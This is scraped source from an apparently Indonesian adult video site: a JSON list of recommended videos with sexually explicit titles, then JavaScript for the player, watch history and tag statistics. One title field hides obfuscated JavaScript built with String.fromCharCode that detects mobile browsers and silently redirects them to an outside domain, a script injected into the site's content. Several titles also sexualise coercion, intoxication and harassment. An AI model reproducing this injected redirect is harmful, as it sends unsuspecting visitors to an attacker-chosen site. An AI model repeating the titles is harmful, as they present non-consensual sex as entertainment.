Kebangkitan Lesbian Sang Istri ~ Seks Lesbian Antar Istri Dimulai dengan Pertukaran Pasangan yang Santai!! ~ Sayahara Yuri, Shirakawa Hanayoshi U&K","lastmod":"2026-07-11","duration":"01:59:35","url":"/play/19166652.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTIvMjgyMDRiODNkZWQwOTU3ODhmNDNkYzYyMzMzMzZlNWIuanBn.cache","vod_id":19042570,"title":"Saya mengantar pulang rekan kerja perempuan saya yang sedang mabuk.","lastmod":"2025-07-11","duration":"58:55","url":"/play/19042570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjFhNWVmZWNmMjQ1MTZiN2M5NjE2MDNjNTdlYjhlZWYuanBn.cache","vod_id":18931525,"title":"APNS-166 Istri saya menjadi objek seksual bagi mantan rekan kerja saya. Saya mulai menghancurkan kehidupan bahagia saya. Saya dibentuk menjadi seorang istri yang bermartabat dan berbudi luhur.","lastmod":"2025-12-14","duration":"02:15:52","url":"/play/18931525.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDcyODYzOWU1MDYwYjIzNjcyZDUxZDM4MjhlZWM0NzEuanBn.cache","vod_id":18929827,"title":"JUFE-144 Aku membawa pulang seorang gadis yang kabur dan melatihnya untuk hamil dari pagi sampai malam. Dia hanya milikku!","lastmod":"2025-12-14","duration":"02:39:08","url":"/play/18929827.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTM5YjY1MDY3M2MwNDEzYzZlNDUxNDQ2NDU0MmM5MDguanBn.cache","vod_id":18983857,"title":"[Tanpa Sensor] IPZZ-045 \"Tanpa celana dalam, tanpa bra\"—langsung pulang setelah pulang kerja! Terapi refleks tidur yang adiktif dan cabul [sepenuhnya pasif]—kenikmatan tanpa batas.","lastmod":"2025-03-23","duration":"02:40:39","url":"/play/18983857.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2NiNWE1MmRlOGU3OWQzM2Q0NTE3YTM2ODdjZGQyNDkuanBn.cache","vod_id":19005786,"title":"MRSS-148-C Saya ingin memiliki anak dengan istri saya, tetapi saya menderita infertilitas pria, jadi saya memutuskan untuk meminta donor sperma berejakulasi langsung ke dalam tubuh saya.","lastmod":"2025-03-24","duration":"01:55:49","url":"/play/19005786.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvYWE5MjYzYzQwNzRiZWE4Y2MzNDgwZWUyNDBjZTVhMTUuanBn.cache","vod_id":19067102,"title":"Pergi ke acara perjodohan... dan membawa pulang seorang gadis kecil berusia dua tahun yang karnivora! Berebut penisku!? Tang penjepit terampil, 5 ejakulasi beruntun, harem. Okuda Saki, Kojima Minami. SONE_335","lastmod":"2025-12-14","duration":"01:58:44","url":"/play/19067102.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDFmY2RmMGE5MjcxMjQxNmQ3MzVhNmQzY2RjOGI1MjguanBn.cache","vod_id":18991549,"title":"300MIUM-390 Seorang Masokis di Tempat Kerja. Kasus 10: Pengamatan Mendalam terhadap Seorang Wanita Kantoran yang Mengaku Mesum, Nona Kurosaki, 22 Tahun, Insinyur Jaringan di Perusahaan IT. \"Jika penis pacarku ada di dekatku, aku akan langsung menyentuhnya, haha.\" Aku tidak percaya, tetapi ketika aku menunjukkan penisku padanya di dalam mobil, dia benar-benar berkata, \"Bukankah besar? Haha,\" dan dia benar-benar mulai bersemangat! Jadi, untuk membalasnya, aku memanggilnya setelah pulang kerja dan kami melakukan hubungan seksual yang penuh gairah! 1","lastmod":"2025-12-14","duration":"01:18:03","url":"/play/18991549.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGQyYTMxMGE1ZTEzZTFkNTkzZDk4MTQ3ZjA3YTY5OTMuanBn.cache","vod_id":19017446,"title":"518BSKC002 Melakukan hubungan seks primitif dengan seorang gadis cantik berusia 18 tahun dalam perjalanan pulang dari kolam renang.","lastmod":"2025-03-24","duration":"43:06","url":"/play/19017446.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGQ4MTQ4NTc1YzM4NDk0NWM2ODIwNTYzODBiOTc5MGIuanBn.cache","vod_id":18982543,"title":"[Tanpa Sensor] SIMD-014 Fokuskan pandangan pada wanita cantik yang mengenakan rok mini, kaus kaki setinggi lutut, dan pakaian dalam yang hampir tak terlihat, lalu saksikan dia pulang! Sentuh, cium, dan jilat area pribadinya yang halus dan lembut.","lastmod":"2025-12-14","duration":"00:36:04","url":"/play/18982543.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDJkNGYwYmMzMjE1Y2FhNDY3MWUyMzY0Mzc4MzY3NjMuanBn.cache","vod_id":19163662,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Bawa Pulang untuk Seks Datang ke Rumahku 21 Amatir Hoihoi - Suku Delusional","lastmod":"2026-07-11","duration":"05:20:41","url":"/play/19163662.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDIvNzQ3YzlhNDE3NTdjYWFiOTViODdhZGI4OGMwOTBmNGEuanBn.cache","vod_id":19036237,"title":"IPZZ0653 Hari-hari dalam Perjalanan Bisnis: Satu demi satu... Seorang wanita kantoran cantik dengan hasrat seksual yang sangat tinggi membawa pria pulang—untuk seks yang mudah dan cepat—","lastmod":"2025-06-02","duration":"02:21:24","url":"/play/19036237.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGVkNTdmN2U5Y2QxZTU1MTMxMjRhNjllNjg5YTFhZGEuanBn.cache","vod_id":19002368,"title":"NASH-063: Dia sudah lama punya anak dan masih menjadi ibu yang sangat memikat. Menyentuh tubuh telanjang yang matang itu membuatku, seorang perawan, mulai terangsang. Aku tidak bisa menahan gairahku. Aku tahu itu salah, tapi aku tetap melewati batas.","lastmod":"2025-03-23","duration":"03:58:36","url":"/play/19002368.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDY0ZTMxODBhM2Y0NzEzY2QxMzA2YzY0NGExMjAxOWMuanBn.cache","vod_id":19018044,"title":"JUFE006 membawa pulang putrinya yang kabur dan melatihnya untuk menerima benih dari pagi hingga malam untuk penggunaan eksklusifku! Budak bertubuh seksi, Shun Oguri.","lastmod":"2025-03-24","duration":"02:27:29","url":"/play/19018044.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzk2YzY5YzIwZmYxMWVkMDQwMGUyNTZhN2M1ZjZmYzAuanBn.cache","vod_id":19005495,"title":"MIDV-459-C Teknik jari si pengganggu sungguh luar biasa... Aku bahkan tak bisa mengeluarkan suara, cairan tubuhku mulai menetes, aku terjatuh.","lastmod":"2025-03-23","duration":"02:26:37","url":"/play/19005495.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGNhZWJmNTJjOTdiYWY3MDU5MmRjYmQ2MmM1ODA1YzAuanBn.cache","vod_id":18972663,"title":"[Tanpa Sensor] MIDV-389 Kakak perempuanku yang bertubuh seksi, yang mengajariku tentang seks selama masa remajaku, akan pulang selama dua hari satu malam... Aku sudah lama tidak melihat payudara suci itu, aku benar-benar tidak bisa menahan diri, jadi aku harus bercinta dengannya sekarang juga.","lastmod":"2025-12-14","duration":"02:31:57","url":"/play/18972663.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGRiYzM4MmE2MTVhODA5ZWViM2JkYjYyNGIwZTZhZWUuanBn.cache","vod_id":18975330,"title":"Pelacur dari Nanning itu ingin dilatih oleh banyak pria; dia sudah mulai memikirkan hal itu. Dia lelah dipermainkan, dan dia merasa tidak nyaman lagi!","lastmod":"2025-12-14","duration":"00:09:37","url":"/play/18975330.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTYvODQ1ZGQ4YjE1MGY4YmRmNTMwNmU4YWU4OTUzYmVkODIuanBn.cache","vod_id":19062824,"title":"Aku, sedang dipeluk oleh pacar putriku. Sejak hari aku didorong paksa ke bawah, kami mulai bercinta dengan gila-gilaan. (Kawakami Yu, ADN_611)","lastmod":"2025-12-14","duration":"02:00:55","url":"/play/19062824.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODlhNjk4NGE1YTM2YzQ3ZWVkMzUzNWE1OTg2ZTdjMGUuanBn.cache","vod_id":19006829,"title":"FSDSS-038 Perburuan Perawan yang Dibawa Pulang! Takashima Akemi","lastmod":"2025-03-24","duration":"01:48:42","url":"/play/19006829.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MTMvYjBmY2E5NzMwMzU1MjBhZmYyN2FlYmVjNWFkMzVjYWIuanBn.cache","vod_id":19033314,"title":"ADN-501 Istri saya biasanya pulang tepat waktu, tetapi hari ini dia bilang harus lembur dan baru pulang pagi ini. (NTR lembur larut malam)","lastmod":"2025-05-13","duration":"02:04:47","url":"/play/19033314.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzJmNjg4MjQ0ODgxMmJlNzU3ZTcyYTFkNzQ3NzI1MGQuanBn.cache","vod_id":18996920,"title":"MEKO-156 \"Mengapa kau membuat wanita tua ini mabuk?\" Seorang wanita dewasa minum sendirian di sebuah bar yang penuh dengan pria dan wanita muda ketika dia menjadi sasaran dan dipancing pulang! Tubuh ibu rumah tangga amatir yang kesepian dan frustrasi secara seksual ini, yang sebelumnya kering, akhirnya menjadi basah!! Volume 51 (0001)","lastmod":"2025-12-14","duration":"02:03:34","url":"/play/18996920.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGM5MmYxMjRiZWJmODA1M2NkYWYzZWRiYWEwZGE4MDMuanBn.cache","vod_id":18936484,"title":"HND-798 - Setelah mengetahui bahwa gadis jurusan ilmu liberal tersebut telah mengalami pelecehan seksual, saya membawa kejadian itu pulang dan memeragakannya berulang kali.","lastmod":"2025-12-14","duration":"02:00:23","url":"/play/18936484.html"}]},
videoTitle: 'Dia akan segera pulang, tetapi saya memutuskan untuk memulainya sebelum dia tiba.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}